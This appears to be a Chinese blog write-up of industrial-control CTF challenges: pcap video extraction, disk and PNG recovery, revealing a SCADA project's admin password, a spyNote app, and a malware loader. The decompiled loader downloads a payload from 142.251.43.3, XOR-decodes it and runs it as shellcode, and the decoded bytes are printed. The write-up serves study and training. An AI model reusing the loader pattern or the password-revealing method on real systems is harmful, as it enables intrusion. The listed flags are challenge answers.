	221	40124 10.795727	10.62.1.104	10.25.150.244	H264	1018 🖌	Øxe987 (59783)	PT=H264, SSRC=0xB6D799DD, Seq=28024, Time=3920349396 FU-A	
	222	37086 10.795849	10.25.150.244	10.62.1.102	H264	1018 🖌	0x05bc (1468)	PT=H264, SSRC=0xB6D799DD, Seq=28023, Time=3920349396 FU-A Start:	ion-I
	223	37086 10,795864	10.25.150.244	10.62.1.102	H264	1018 🗸	0x05bd (1469)	PT=H264, SSRC=0xB6D799DD, Seq=28024, Time=3920349396 FU-A	
	224	40124 10,795880	10.62.1.104	10,25,150,244	H264	1018 🗸	0xe988 (59784)	PT=H264, SSRC=0xB6D799DD, Seg=28025, Time=3920349396 FU-A	
	225	37086 10, 795914	10.25.150.244	10.62.1.102	H264	1018 🗸	0x05be (1470)	PT=H264, SSRC=0xB6D799DD, Seg=28025, Time=3920349396 EU-A	~
<									>

Frame 1237: 1006 bytes on wire (8048 bits), 1006 bytes captured (8048 bits) Ethernet II, Src: SuperMic_dc:b2:ba (ac:1f:6b:dc:b2:ba), Dst: SuperMic_dc:b2:e2 (ac:1f:6b:dc:b2:e2) Internet Protocol Version 4, Src: 10.25.150.244, Dst: 10.62.1.102 User Datagram Protocol, Src Port: 40120, Dst Port: 37086 Pool Lim Deserver Destarcal

Real-Time Transport Protocol

H.264

• H264 编解码协议详解

搜索引擎查阅发现可以Wireshark加载lua脚本提取出 h264 数据流,然后利用 Elecard StreamEye 分析

https://github.com/volvet/h264extractor

Elecard StreamEye Basic 4.4

将下载好的 rtp_h264_extractor.lua 脚本放入WireShrak的目录中

此日	电脑 → 本地磁盘 (D:) → Wireshark			
^	名称	修改日期	类型	大小
\$	🗒 USBPcapSetup-1.5.4.0.exe	2020/5/23 1:10	应用程序	191 KB
	属 uninstall.exe	2020/9/24 7:09	应用程序	436 KB
	🚄 tshark.exe	2020/9/24 7:09	应用程序	569 KE
C	🚄 text2pcap.exe	2020/9/24 7:09	应用程序	339 KB
	🚄 reordercap.exe	2020/9/24 7:09	应用程序	316 KE
	🧧 rawshark ava	2020/0/24 7:00	应田程度	201 1/1

	Datalie	ochorldinit I		blime 1	Fout (LIN	IPEGIST			
l 🔤 '	D:\Wird	esnark\init.i	ua - su	iblime	lext (UI	NEGISI	ERED)		
File	Edit	Selection	Find	View	Goto	Tools	Project	Preferences	Help
	init	.lua		×					

		ALIAN MARK (317)		271.00
)	a nncan-0.9997 eve	2020/9/15 2:46	应用程序	774 KB
	mmdbresolve.exe	2020/9/24 7:09	应用程序	24 KB
	mergecap.exe	2020/9/24 7:09	应用程序	320 KB
	d editcap.exe	2020/9/24 7:09	应用程序	343 KB
	dumpcap.exe	2020/9/24 7:09	应用程序	411 KB
	dftest.exe	2020/9/24 7:09	应用程序	24 KB
	capinfos.exe	2020/9/24 7:09	应用程序	332 KB
	 ∏ wka	2020/9/24 6:58	文件	12 KB
	smi modules	2020/9/24 6:58	文件	1 KB
	services	2020/9/24 6:58	文件	268 KB
] manuf	2020/9/24 6:58	文件	1.753 KB
	dfilters	2020/9/24 6:58	文件	1 KB
c	colorfilters	2020/9/24 6:58	文件	3 KB
h	cfilters	2020/9/24 6:58	文件	1 KB
	AUTHORS-SHORT	2020/9/24 6:58	文件	76 KB
	ያ user-guide.chm	2020/9/24 7:08	编译的 HTML 帮	5,267 KB
	g pdml2html.xsl	2020/9/24 6:58	XSL 样式表	7 KB
	README.windows.txt	2020/9/24 7:00	TXT 文件	1 KB
	S README.txt	2020/9/24 7:00	TXT 文件	9 KB
	NEWS.txt	2020/9/24 7:00	TXT 文件	6 KB
n i	COPYING.txt	2020/9/24 7:00	TXT 文件	28 KB
	enterprises.tsv	2020/9/24 6:58	TSV 文件	1,554 KB
	rtp_h264_extractor.lua	2019/8/28 13:08	LUA 文件	9 KB
	🗾 init.lua	2021/10/3 1:08	LUA 文件	19 KB
	🗾 dtd_gen.lua	2020/9/24 6:59	LUA 文件	8 KB
	🗾 console.lua	2020/9/24 6:59	LUA 文件	3 KB
	# ws.css	2020/9/24 6:58	CSS Source File	41 KB
	📀 wireshark-filter.html	2020/9/24 6:59	Chrome HTML D	21 KB
	📀 wireshark.html	2020/9/24 6:59	Chrome HTML D	228 KB
	📀 tshark.html	2020/9/24 6:59	Chrome HTML D	99 KB
	📀 text2pcap.html	2020/9/24 6:59	Chrome HTML D	14 KB
	💿 reordercap.html	2020/9/24 6:59	Chrome HTML D	4 KB
	📀 rawshark.html	2020/9/24 6:59	Chrome HTML D	26 KB
	💿 mmdbresolve.html	2020/9/24 6:59	Chrome HTML D	3 KB
	💿 mergecap.html	2020/9/24 6:59	Chrome HTML D	8 KB
	💿 ipmap.html	2020/9/24 6:58	Chrome HTML D	14 KB
	18.5 KR	2020/0/24 7.07	Character Distance	101 //0
1980	TO D NO			



CSDN @末 初

修改 init.lua , 在最后面添加一行: dofile(DATA_DIR.."rtp_h264_extractor.lua") 重启WrireShark, 打开流量包; 工具->Extract h264 stream from RTP

🚄 capture	packets.pcap
-----------	--------------

文件(E)	编辑(<u>E)</u> 视图(<u>V</u>)	跳转(G) 捕获(C) 分析(A)	统计(<u>S</u>) 电话(Y) 无线(W)	工具(T)	帮助(<u>H</u>)			
	/ 🖲 📙 🖾 🗙	🔁 । ९ 👄 🔿 💇 🦺	📑 🖲 २, २, 🖽	防火	火墙 ACL 规则			
L h264				Cre	edentials			
No.	Port	Time	Source	Extr	ract h264 stream from	RTP	ocol	Length Frame
	204	40124 10.718206	10.62.1.104	Lua	3	•	Console	68 🖌
	205	37086 10.718351	10.25.150.244	10.	62.1.102	H2	Evaluate	68 🗸
	206	40124 10.726149	10.62.1.104	10.	25.150.244	H2	Manual	60 🗸
ĺ	207	37086 10.726292	10.25.150.244	10.	62.1.102	H2	Wiki	58 🗸
	208	40124 10.726392	10.62.1.104	10.	25.150.244	H2	64	CC2985 6== 211
	209	37086 10 726432	10 25 150 244	10	62 1 102	H2	64	985 7

1	Wireshark · h264 extractor	×
	<pre>jitter_buffer_finilize: seq = 16231, payload len = 1072 jitter_buffer_finilize: seq = 16231, payload len = 1072 Incomplete EU found: fu info con = 16231 input con = 16231</pre>	^
1	jitter_buffer_finilize: seq = 16232, payload len = 3 Fu stop: seq = 16232	
1	<pre>Incomplete NAL from FUs, dropped jitter_buffer_finilize: seq = 16232, payload len = 3 Incomplete FUL found: No start flag_dropped</pre>	
1	jitter_buffer_finilize: seq = 16233, payload len = 1015 Fu start: seq = 16233	
1	jitter_buffer_finilize: seq = 16233, payload len = 1015 Fu start: seq = 16233	
	jitter_buffer_finilize: seq = 16234, payload len = 1015 jitter_buffer_finilize: seq = 16234, payload len = 1015 Incomplete Ell found: fu info seg = 16234 input seg = 16234	
c	<pre>jitter_buffer_finilize: seq = 16235, payload len = 1015 Fu stop: seq = 16235</pre>	
1	Incomplete NAL from FUs, dropped jitter_buffer_finilize: seq = 16235, payload len = 1015 Incomplete FU found: No start flag, dropped	
	Fnd	~

高亮:	
	CSDN @末初

会在流量包的当前路径生成一个 dump.264



使用 Elecard StreamEye 打开它

PS: 这里使用的版本是 Elecard StreamEye 4.7,算是比较新的版本,之前用 2.9 的版本打开发现看不清楚



flag{GOODFORYOU}

应急恢复



DiskGenius 一把梭; 磁盘->打开虚拟磁盘文件->选中磁盘点击恢复文件



《 》 基本 MBR			data(0 NTFS 1021.0M)) ; ИВ			
磁盘2 接口:File 型号:Disk Image 容量:1.0GB(10)	24MB) 柱面数:130 磁头数:255 每	道扇区数:63	总扇区数:2097153				
HD0:ST1000LM035-1RK172(932GB)	分区参数 浏览文件 扇区编辑						
	名称: ** ~ ~	(*.jpg;*.bmp)	☑ 已删除	正常文件	☑ 系统文件 □ 重复	I文件 过滤 更多>>	
	◆ 名称	大小	文件类型	属性	短文件名	修改时间	创建时间
ESP(1)	SExtend		文件夹	HS	\$Extend	2021-09-16 11:54:06	2021-09-16 11:54:06
	🗋 💼 \$RECYCLE.BIN		文件夹	HS	\$RECYCLE.BIN	2021-09-16 12:04:08	2021-09-16 12:04:08
	Boot Sector FAT.tpl	1.2KB	又14 火 tol 文件	А	no BOOTSE~1.TPL	2021-09-10 11:50:25	2021-09-16 11:56:09
	Boot Sector FAT32.tpl	1.4KB	tpl 文件	А	BOOTSE~2.TPL	2015-05-29 09:45:26	2021-09-16 11:56:01
🖮 🔜 VD0:Data.img(1GB)	Boot Sector NTFS.tpl	1.6KB	tpl 文件	Α	BOOTSE~3.TPL	2015-05-29 09:45:26	2021-09-16 11:56:01
□ → 分区(恢复文件)	Chinese.dat	21.0KB	VideoCD .dat 文	. А	Chinese.dat	2015-05-29 09:45:26	2021-09-16 11:56:01
	Chinese.txt	41.8KB	文本文档	Α	Chinese.txt	2015-05-29 09:45:26	2021-09-16 11:56:01
Extend	Ext Directory Entry.tpl	586 B	tpl 文件	A	EXTDIR~1.TPL	2015-05-29 09:45:26	2021-09-16 11:56:01

	Ext Group Descriptor.tpl	453 B	tpl 又件	Α	EXTGRO~1.TPL	2015-05-29 09:45:28	2021-09-16 11:56:01
🕀 🖳 🚠 🖁 \$RECYCLE.BIN	Ext Inode.tpl	1.4KB	tpl 文件	А	EXTINO~1.TPL	2015-05-29 09:45:28	2021-09-16 11:56:01
no	Ext Superblock.tpl	3.4KB	tpl 文件	А	EXTSUP~1.TPL	2015-05-29 09:45:28	2021-09-16 11:56:01
□□ 所有类型(1)	FAT Directory Entry.tpl	912 B	tpl 文件	Α	FATDIR~1.TPL	2015-05-29 09:45:28	2021-09-16 11:56:01
	FAT LFN Entry.tpl	711 B	tpl 文件	Α	FATLFN~1.TPL	2015-05-29 09:45:30	2021-09-16 11:56:01
	🔲 📄 File Type Signatures Se	18.6KB	文本文档	Α	FILETY~1.TXT	2015-05-29 09:45:30	2021-09-16 11:56:01
	🔲 👬 Flag.rar	6.6KB	RAR 压缩文档	A D	Flag.rar	2021-09-16 12:01:56	2021-09-16 12:02:13
□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□	GUID Parition Table.tpl	1.5KB	tpl 文件	Α	GUIDPA~1.TPL	2015-05-29 09:45:30	2021-09-16 11:56:01
i ⊕ ← data(0)	HFS Volume Leader.tpl	1.9KB	tpl 文件	Α	HFSVOL~1.TPL	2015-05-29 09:45:30	2021-09-16 11:56:01
	indexcha.txt	26 B	文本文档	Α	indexcha.txt	2015-05-29 09:45:32	2021-09-16 11:56:01
	🔲 🔟 language.dat	363.1KB	VideoCD .dat 文	Α	language.dat	2015-05-29 09:45:32	2021-09-16 11:56:01
	Master Boot Record.tpl	1.0KB	tpl 文件	Α	MASTER~1.TPL	2015-05-29 09:45:30	2021-09-16 11:56:01
	NTFS FILE Record.tpl	2.2KB	tpl 文件	Α	NTFSFI~1.TPL	2015-05-29 09:45:30	2021-09-16 11:56:01
	🔲 🔟 Recently Opened.dat	8.7KB	VideoCD .dat 文	Α	RECENT~1.DAT	2016-03-05 11:16:37	2021-09-16 11:56:01
	Sample script.whs	2.0KB	whs 文件	Α	SAMPLE~1.WHS	2015-05-29 09:45:30	2021-09-16 11:56:01
	🔲 📧 setup.exe	32.0KB	Windows 应用程	Α	setup.exe	2015-05-29 09:45:32	2021-09-16 11:56:01
	<						
	文件夹: \ 文件数目: 28 文件数目: 28 文件夹数目: 文件夹数目: 1021.0MB	(个, 大小: : 3, 已选择:	3.5MB。已选择:0个 0个。	, O B.			CSDN @末 初

flag{73D3DA963F7505E9}

CSDN @末 初

flag{73D3DA963F7505E9}

文件分析



root@mochu7-pc:/mnt/c/Users/Administrator/Downloads/文件分析# ls -lha total 56K drwxrwxrwx 1 1000 root 512 Oct 3 16:53 . drwxrwxrwx 1 1000 root 512 Oct 3 16:53 .. -rwxrwxrwx 1 1000 root 56K Jun 10 15:38 what root@mochu7-pc:/mnt/c/Users/Administrator/Downloads/文件分析# file what what: data root@mochu7-pc:/mnt/c/Users/Administrator/Downloads/文件分析# |

010 Editor 打开,看到 IDAT、 IEND 字样从而确定这应该是一张 png 图片

起始页	what	×															
▼ 编辑	方式:十	-六进(制(H)	\sim	运行期	即本 ~	, jz	行棋	版>								
	Ò											Ř		Ď			0123456789ABCDEF
0000h	: 00	00	03	$\mathbf{F}\mathbf{D}$	00	00	00	20	08	06	00	00	00	17	96	D7	ý×
0010h	: 41	00	00	00	01	73	52	47	42	00	AE	CE	1C	Ε9	00	00	AsRGB.®î.é
0020h	: 00	04	67	41	4D	41	00	00	в1	8F	0B	\mathbf{FC}	61	05	00	00	gAMA±üa
0030h	: 00	09	70	48	59	73	00	00	0E	C3	00	00	0E	C3	01	C7	pHYsÃÃ.Ç
0040h	6F	A 8	64	00	00	DC	A5	49	44	41	54	78	5E	$^{\rm ED}$	BD	0D	o¨dÜ¥ <mark>IDAT</mark> x^í½.
0050h	: F0	55	D5	7D	A8	$^{\rm CD}$	6D	7A	D3	A4	93	1в	FB	F1	D6	DB	ðUÕ}¨ÍmzÓ¤".ûñÖÛ
0060h	: в4	62	\mathbf{FB}	8E	4D	9A	26	D1	Е9	5B	92	в9	5E	6F	CC	\mathbf{FB}	′bûŽMš&Ñé[′¹^oÌû
0070h	: 4E	6в	2D	6F	12	A7	49	AF	F7	в6	4D	E8	9D	0C	F5	05	Nk-o.§I ⁻ ÷¶Mèõ.
0080h	41	44	09	05	09	12	45	87	82	14	в9	22	21	20	84	10	ADE‡,.1"! ".
0090h	: 94	52	11	4D	50	4B	09	91	52	F1	AB	51	8B	C4	94	72	"R.MPK. 'Rñ«Q<Ä"r
00A0h	: FD	20	69	A4	64	12	6F	6D	32	69	66	D2	4E	6F	EF	CC	ý i¤d.666ÐìNtò@末ì初
OODOD		20	ਸਸ	70	CIE	27	67	۹D	70	RG	DR	GD	πD	च च	017	77	S-1) Îng löbhís á

2000	~ ~					~~~	~ .	~~		~~		~~~		~~~	~~		- ipartn(correction
DC90h:	80	00	04	20	00	01	08	40	00	02	10	$\mathbf{F}0$	27	80	F4	23	€@ð'€ô#
DCA0h:	FD	10	80	00	04	20	00	01	08	40	00	02	10	80	00	04	ý.€@€
DCB0h:	20	00	81	8E	12	40	FA	3в	5A	в0	FE	ED	3E	6C	09	01	Ž.@ú;Z°þí>l
DCC0h:	08	40	00	02	10	80	00	04	20	00	01	80	40	00	02	5D	.@€@]
DCD0h:	25	80	F4	23	FD	10	80	00	04	20	00	01	08	40	00	02	%€ô#ý.€@
DCE0h:	10	80	00	04	20	00	81	8E	12	F 8	$\mathbf{F}\mathbf{F}$	01	3D	4F	F5	1A	.€Ž.øÿ.=Oõ.
DCF0h:	4C	A4	9D	0C	00	00	00	00	49	45	4E	44	AE	42	60	82	L¤IEND®B`,
DD00h:																	

开头的这几个字节很明显应该是PNG图片的长宽位置,或者对比其他的PNG图片;不难发现该文件缺少了PNG开头的十六个字 节

起始页	wha	tΧ															
- 琴 编辑	;方式:	十六进	制(H)		运行期	却本 ~	́ įž	行棋	版>								
	Ó													Ď			0123456789ABCDEF
0000h	: 00	0 00	03	$\mathbf{F}\mathbf{D}$	00	00	00	20	08	06	00	00	00	17	96	D7	ý×
0010h	: 41	L 00	00	00	01	73	52	47	42	00	AE	CE	1C	Ε9	00	00	AsRGB.®î.é
0020h	: 00	04	67	41	4D	41	00	00	в1	8F	0B	\mathbf{FC}	61	05	00	00	gAMA±üa
0030h	: 00	09	70	48	59	73	00	00	0E	C3	00	00	0E	C3	01	C7	pHYsÃÃ.Ç
0040h	: 61	7 A8	64	00	00	DC	A5	49	44	41	54	78	5E	ED	BD	0D	o¨dÜ¥IDATx^í½.
0050h	: F() 55	D5	7D	A8	CD	6D	7A	D3	A4	93	1в	FB	F1	D6	DB	ðUÕ}¨ÍmzÓ¤".ûñÖÛ

 起始页	what	1	212. 1	png >	<	-					·		·			~ [
▼ 编辑方	试:十	六进	钊 (H)		运行脚	本~		行棋	版: PI	¶G.bt							
	Ò											Ř		Ď			0123456789ABCDEF
0000h:	89	50	4E		0D	0A	1A	0A	00	00	00	0D	49	48	44	52	%PNGIHDR
0010h:	0.0	00	04	E4	00	00	08	00	08	06	00	00	00	86	в4	EC	ät′ì
0020h:	FC	00	00	00	01			47	42	00					00	00	üsRGB.@î.é
0030h:	00	04)	67	41	4D	41	00	00	В1	8F	0B	FC	61	05	00	00	
0040h:	00	09		48			00	00	0E	C3	00	00	0E	C3	01		pHYsÃÃ.Ç
0050h:				00	00	FF	Α5	49	44	41	54	78	5E	EC	FD	F5	o°dÿ¥IDATx^ìýõ

89 50 4E 47 0D 0A 1A 0A 00 00 00 0D 49 48 44 52

起始页	what	x	 1212. j	png		-					Ĺ		Ĺ			-	
▼ 编辑方	试:十	-六进(制(H)		运行的	却本 ~		行棋	板と								
	Ò								ğ					Ď			0123456789ABCDEF
0000h:		50	4E		0D	0A	1A	0A				0D	49	48	44		%PNGIHDR
0010h:	00	00	03	$\mathbf{F}\mathbf{D}$	00	00	00	20	08	06	00	00	00	17	96	D7	ý×
0020h:	41	00	00	00	01	73	52	47	42	00	AE	CE	1C	Ε9	00	00	AsRGB.®î.é
0030h:	00	04	67	41	4D	41	00	00	в1	8F	0B	\mathbf{FC}	61	05	00	00	gAMA±üa
0040h:	00	09	70	48	59	73	00	00	0E	C3	00	00	0E	C3	01	C7	pHYsÃÃ.Ç
0050h:	6F	A 8	64	00	00	DC	A5	49	44	41	54	78	5E	ED	BD	0D	o¨dÜ¥IDATx^í½.
0060h:	FO	55	D5	7D	A8	CD	6D	7A	D3	A4	93	1в	FB	F1	D6	DB	ðUÕ}¨ÍmzÓ¤".ûñÖÛ
0.07.01	- 4						0.0										IN A YOUX AT CREAK AND

保存为 what.png,发现图片貌似长宽显示不完全,再次用 010 Editor 打开发现CRC校验报错,修改高度 高度任意修改,能看到flag就行,或者使用脚本去爆破原来的宽高



flag{welcome@2021}

组态编程

探索组态密码



上位监控软件密码破解20190510.PCZ,利用北京力控组态软件ForceControl V7.0打开

• 北京力控组态软件ForceControl V7.0(低版本只适配Windows7)

					H		and the second second	
	所选应用路径在 [C:\Users\Se	eanz7\Downloads_	位监控软件密码硬	3解20190510\油气组	■ 輸工艺\油气	(集輸工艺)		_ = :
工程管理 工具列表 网络中小	ò							样式 - (
新建 1000 按照 1000 1000	正程目录 快速方式 工程设置 运行 开发 开发	() 退出						
工程管理	系统							
■ 应用名称	所在路径	兑明					工程I	D
✓ 油气集输工艺	C:\Users\Seanz7\Downloads\上位监控						{3894	9603-82DD
17月 打开							×	
😋 🔾 🗢 🗽 🕨 Seanz7	▶ 下载 ▶				提雲 下載		۶	
组织 ▼ 新建文件夹								
☆ 政藤本	名称	修改日期	类型	大小				
下载	→ 北京力控组态软件ForceControl V7.0工	2021/6/14 0:05	文件夹					
三 桌面	上位监控软件密码破解20190510	2021/6/13 23:57	文件夹					
3 最近访问的位置	□ 上位监控软件密码破解20190510.PCZ	2021/10/5 0:22	PCZ 文件	30,973 KB]			
 □ 库 □ 视频 □ 图片 □ 文档 〕 育乐 □ 計算机 ▲ 本地磁盘 (C:) ④ DVD 驱动器 (D:) Gf ● 网络 								
文件名	(N): 上位监控软件密码破解20190510.PCZ			-	类型 (*.PCZ)		•	
上位百姓榜				[打开(O)	-	取消	01:29:21
								CSDN @末 初

然后点击 <mark>开发</mark>



C:\Users\Seanz7	Downloads

CSDN @末初

选择忽略

油气集黛工艺



选择 功能->用户管理



设置登登陆方式选择本地方式;发现一个 admin 的系统管理员

10.00 01:30:31 10.00 J	受置登陆 ○ 本地方式		■ 取消 I I I
用户列表 设置登陆方式 操作工级 班长级 工程师级 ● 系统管理员级 ● admin	用户信息修改 級別名称修改 用 户 名 admin 級 別 系统管理员级 ✓ 口 令 ******** 核实口令 ******** 登陆超时 □1 秒 ▽ 列出用户列表 添 加 <u> </u>	安全区 V 全选 V A A V B V C V D V D V F V F V F V F V F V F V J V I V J V I V I	 系统収限 ▼ 全迭 ● 进入組态 ● 进入运行 ▼ 退出运行



发现 admin 账户的密码,但是是星号,看不到,可以利用网上的 星号密码查看器

• 星号密码查询器



得到密码: elexadmin

flag{elexadmin}

恶意程序

恶意app分析



~oot@mochu7-pc:/mnt/c/Users/Administrator/Desktop/工业互联网附件/恶意程序/恶意app/spyNote_client_easy2# ls AndroidManifest.xml com javamail.charset.map javamail.default.providers javamail.pop3.provider javamail.smtp.provider mailcap.default mimetypes.default res classes.dex dsn.mf javamail.default.address.map javamail.imap.provider javamail.smtp.address.map mailcap META-INF resources.arsc org ~oot@mochu7-pc:/mnt/c/Users/Administrator/Desktop/工业互联网附件/恶意程序/恶意app/spyNote_client_easy2# grep -rn '@ grep: ./classes.dex: binary file matches ~oot@mochu7-pc:/mnt/c/Users/Administrator/Desktop/工业互联网附件/恶意程序/恶意app/spyNote_client_easy2# strings cla sses.dex | grep -E '@.*\.com' CONTACT javamail@sun.com hahaha wtf@163.com testmail0917@163.com root@mochu7-pc:/mnt/c/Users/Administrator/Desktop/工业互联网附件/恶意程序/恶意app/spyNote_client_easy2#

找出来的三个邮箱,第二个就是对的

flag{hahaha_wtf@163.com}

恶意程序分析



给了一个 exe 和 jpg

	压缩后天小	原始大小	类型
🔳 sc.jpg	488	1,144	JPG 文件
a7f90319581f7.exe	24,438	48,640	应用程序

jpg 用 010 Editor 打开啥也看不出来,猜测应该是被 exe 文件处理过的

root@mochu7-pc:/mnt/c/Users/Administrator/Desktop/工业互联网附件/恶意程序/3681b1e7c8c46f	F8098578250b5aaf05f1qa3cbdc# ls
da7f90319581f7.exe sc.jpg	
root@mochu7-pc:/mnt/c/Users/Administrator/Desktop/工业互联网附件/恐意程序/恶意程序/3681b1e7c8c46	3098578250b5aaf05f1da3cbdc# file da7f90319581f7.exe
da7f90319581f7.exe: PE32 executable (console) Intel 80386, for MS Windows	
root@mochu7-pc:/mnt/c/Users/Administrator/Desktop/工业互联网附件/恶意程序/恶意程序/3681ble7c8c4	8098578250b5aaf05f1da3cbdc#

🔚 FIREALA EMECTION 🗖 VASOTAL EMECTION 💭 TREFLOCTION 🤍 DATA 💭 ONEXDIDLED 🦳 EXTREMAT PAMPOT 💭 FOMILIA EMECTION

f Functions window 🛛 🗗 🛪	📳 IDA View-A 🛛 📳 Pseudocode-C 🔀 📑 Stack of _main 🗵 📳 Pseudocode-B 🗵
Function name	<pre>1 intcdecl main(int argc, const char **argv, const char **envp) 2 {</pre>
<u>f</u> sub_401000	3 WCHAR Buffer; // [esp+8h] [ebp-240h] BYREF
f sub_401302	4 char v5[518]; // [esp+Ah] [ebp-23Eh] BYREF 5 WCHAR pwszUrl[28]: // [esp+210h] [ebp-38h] BYREF
📝 _main	6
<u>f</u> _printf	<pre>7 Buffer = 0; 8 memset(v5 0 sizeof(v5));</pre>
<pre>get_printf_count_output</pre>	<pre>9 gmemcpy(pwszUrl, L"http://142.251.43.3/sc.jpg", 0x36u);</pre>
f sub_40158F	<pre>9 10 GetTempPathW(0x104u, &Buffer);</pre>
f sub_40159A	<pre>11 wcscat_s(&Buffer, 0x104u, L"./sc.jpg"); 12 if (!sub 401000(pwszUrl, &Buffer))</pre>
F sub_4015C1	13 sub_401302(&Buffer);
f operator new(uint)	14 return 0;
f operator delete(void *)	12}
<u>f</u> _calloc	
<u>f</u> _strncpy	
f _LocaleUpdate::_LocaleUpdate(localeinfo_struct *)	
f strtoxl(localeinfo_struct *,char const *,char const * *,int,int)	
<u>f</u> _strtol	
<u>f</u> _free	
<u>f</u> _wcscat_s	
<u>f</u> _fast_error_exit	
<u>f</u> tmainCRTStartup	
f start	
f sub_401CF4	
<u>f</u> initstdio	
f lock file	
	CCDN @ 字 初
Line 3 of 21/	(2011) @未初

跟进主函数下做处理的 sub_401302() 函数,看到了对原图每个字节做 异或0x61 处理

🏆 IDA - da7f90319581f7.exe C:\Users\Administrator\Desktop\工业互联网附件)恶意程序\恶意程序\3681b1e7c8c46f8098578250b5aaf05f1da3cbdc\da7f90319581f7.exe

<u>File Edit Jump Search View Debugger</u>	Lumi <u>n</u> a <u>O</u>	otions	<u>/</u> indows Help	
i 📂 🔚 i 🍬 🗸 🗟 🖏 👘 🦓 🔖 🧎	🦕 i 🔼 🥥		at 🖈 🕶 🧩 📸 🗙 🕨 🔲 🔲 🖸 No debugger 🔹 🌾 🛃	🗊 🕈 📉
Library function Regular function	truction D	ita 🔳 1	xplored External symbol Lumina function	
Empetions window	`		A View-A 🖸 📑 Preudocode-C 🔯 🗐 Stack of main 🖾 📑 Preudo	aada-B 🛛 🕞 Strings window 🖾 📑 Prondogada-A 🕅
j incritis window			LPTHREAD START ROUTINE lpStartAddress: // [esp+18h] [ebp-14h]	
Function name			<pre>void *Block; // [esp+1Ch] [ebp-10h]</pre>	
<u>f</u> sub_401000			HANDLE hFile; // [esp+20h] [ebp-Ch] DWORD (stdcall *v20)(LPVOID): // [esp+24h] [ebp-8h]	
<u>f</u> sub_401302		- 2	char Destination; // [esp+28h] [ebp-4h] BYREF	
<u>f</u> _main		1	int16 v22; // [esp+29h] [ebp-3h]	
<u>f</u> _printf		• 2	<pre>v1 = CreateFileW(lpFileName, 0xC0000000, 1u, 0, 3u, 0x80u, 0)</pre>	;
f _get_printf_count_output		• 2	v2 = v1;	
<u>f</u> sub_40158F			$ \frac{1}{1} = \frac{1}{1} $	
f sub_40159A		1 3	{	
f sub_4015C1			<pre>CloseHandle((HANDLE)0xFFFFFFF); result = -1;</pre>	
j operator new(unt)			}	
j operator delete(void ")			else /	
		•	<pre>v4 = GetFileSize(v1, 0);</pre>	
suncpy	(c+ *)		v5 = v4;	
J	nct * * int int)		1f (V4) {	
	nse ,me,me,	• 4	<pre>v6 = calloc(1u, v4);</pre>	
			Block = V6; ReadFile(hFile, V6, V5, &NumberOfBvtesRead, 0);	
y wests		• 4	for (i = 0; i < v5; ++i)	
f fast error exit			*((_BYTE *)v6 + i) ^= 0x61u;	
f tmainCRTStartup		0	v8 = (DWORD (stdcall *)(LPV0.))VirtualAlloc(0, v5 / 3,	0x3000u, 0x40u);
f start			Destination = 0;	
f sub 401CF4		• 4	v22 - 0, v9 = 0;	
f initstdio		•	<pre>lpStartAddress = v8;</pre>	
f lock file		 I 	{	
<	>	. •	v20 = v8;	
Line 3 of 217			do {	
🚜 Graph overview		د ا	v10 = *((_BYTE *)Block + v9);	
		•	1† (v10 != 32)	
		•	if (v10 != 13 && *((_BYTE *)Block + v9 + 1) != 10)
			<pre>{ strncpv(&Destination, (const char *)Block + v9. 2</pre>	2u):
		• 6	<pre>v11 = strtol(&Destination, 0, 16);</pre>	
			00000780 sub $401302:44$ (401380)	CSDN @末 初



异或出来的内容,从末尾看已经看出来有flag字样的十六进制字符

E8 FF FF FF FF C0 5F B9 57 03 02 02 81 F1 02 02 02 02 83 C7 1D 33 F6 FC 8A 07 3C 02 0F 44 C6 AA E2 F6 E8 02 02 02 02 5E 8B FE 81 C6 16 01 02 02 B9 03 02 02 02 FC AD 01 3C 07 E2 FA B9 8D 10 B7 F8 E8 4D 02 02 02 68 22 01 02 02 FF D0 B9 9E 78 78 CD E8 3C 02 02 02 6A 02 68 44 01 02 02 68 2D 01 02 02 6A 02 FF D0 33 C0 C3 53 56 8B F1 33 D2 EB 12 0F BE CB C1 CA 0D 80 FB 61 8D 41 E0 0F 4C C1 03 D0 46 8A 1E 84 DB 75 E8 5E 8B C2 5B C3 8D 41 F8 C3 55 8B EC 83 EC 14 53 56 57 89 4D F4 64 A1 30 02 02 02 89 45 FC 8B 45 FC 8B 40 0C 8B 40 14 8B F8 89 45 EC 8B CF E8 D2 FF FF FF 8B 3F 8B 70 18 85 F6 74 4F 8B 46 3C 8B 5C 30 78 85 DB 74 44 8B 4C 33 0C 03 CE E8 8E FF FF FF 8B 4C 33 20 89 45 F8 03 CE 33 C0 89 4D F0 89 45 FC 39 44 33 18 76 22 8B 0C 81 03 CE E8 6D FF FF FF 03 45 F8 39 45 F4 74 1C 8B 45 FC 8B 4D F0 40 89 45 FC 3B 44 33 18 72 DE 3B 7D EC 75 9C 33 C0 5F 5E 5B C9 C3 8B 4D FC 8B 44 33 24 8D 04 48 0F B7 0C 30 8B 44 33 1C 8D 04 88 8B 04 30 03 C6 EB DF 20 02 02 02 33 02 02 02 38 02 02 02 75 73 65 72 33 32 2E 64 6C 6C 02 66 6C 61 67 7B 34 39 62 61 35 39 61 62 62 65 35 36 65 30 35 37 7D 02 79 6F 75 20 67 6F 74 20 69 74 21

HEX-字符互转

本工具主要目的是实现hex与字符之间的转换。目前支持utf-8/unicode及gbk(兼容gb2312)编码。"字符编码"为"自动"时,将自动识别hex内容并使用正确的编码处 理及优化。如果不能识别或是转hex那么将使用**默认utf8编码**处理。"字符编码":"hex"用于格式化源hex数据(专业冶强迫症),此时"转hex"和"转字符"结果是一 样的。

*

18 76 22 88 0C 81 03 CE E8 6D FF FF FF 03 45 F8 39 45 F4 74 1C 8B 45 FC 8B 4D F0 40 89 45 FC 3B 44 33 18 72 DE 3B 7D EC 75 9C 33 C0 5F 5E 5B C9 C3 8B 4D FC 8B 44 33 24 8D 04 48 0F B7 0C 30 8B 44 33 1C 8D 04 88 8B 04 30 03 C6 EB DF 20 02 02 02 33 02 02 02 38 02 02 02 75 73 65 72 33 32 2E 64 6C 6C 02 66 6C 61 67 7B 34 39 62 61 35 39 61 62 62 65 35 36 65 30 35 37 7D 02 79 6F 75 20 67 6F 74 20 69 74 21

									н	EX辅	計出相	乱	:[空格	分隔	~	分行字节数 : 32		字符编码:	自动识别	~	转HEX	转字符	
78	CD	E8	3C	02	02	02	6A	02	68	44	01	02	02	68	2D		x <j.hd< td=""><td>h-</td><td></td><td></td><td></td><td></td><td></td><td></td></j.hd<>	h-						
01	02	02	6A	02	FF	DO	33	C0	С3	53	56	8B	Fl	33	D2		j3sv	.3.						
